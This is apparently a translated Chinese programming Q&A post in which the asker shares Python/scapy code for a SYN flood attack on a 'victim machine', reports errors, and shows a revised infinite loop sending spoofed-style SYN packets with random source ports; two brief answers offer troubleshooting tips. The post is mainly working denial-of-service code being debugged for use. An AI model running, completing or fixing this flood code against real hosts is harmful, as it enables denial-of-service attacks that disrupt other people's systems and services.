我正在为synflood攻击编写代码,但是当我通过python运行文件时,我收到了错误。
SYNFlood.py文件:
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)
但是当我使用以下命令运行文件时
python SYNFlood.py target_ip target_port
我收到以下错误:
我试图改变代码如下:
while (1==1):
p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
send(p, count=10)
当我在目标pc上运行命令netstat -A时,我看不到syn_recv数据包。
我试过
send(p, verbose=0, count=10)
但我在dst pc和src pc上都没有输出相应的命令。
答案 0 :(得分:0)
尝试重新安装scapy或scapy3k。这听起来像构建问题。确认您使用的是正确的scapy版本。
答案 1 :(得分:0)
我发现我必须在Windows 32位版本上运行该程序。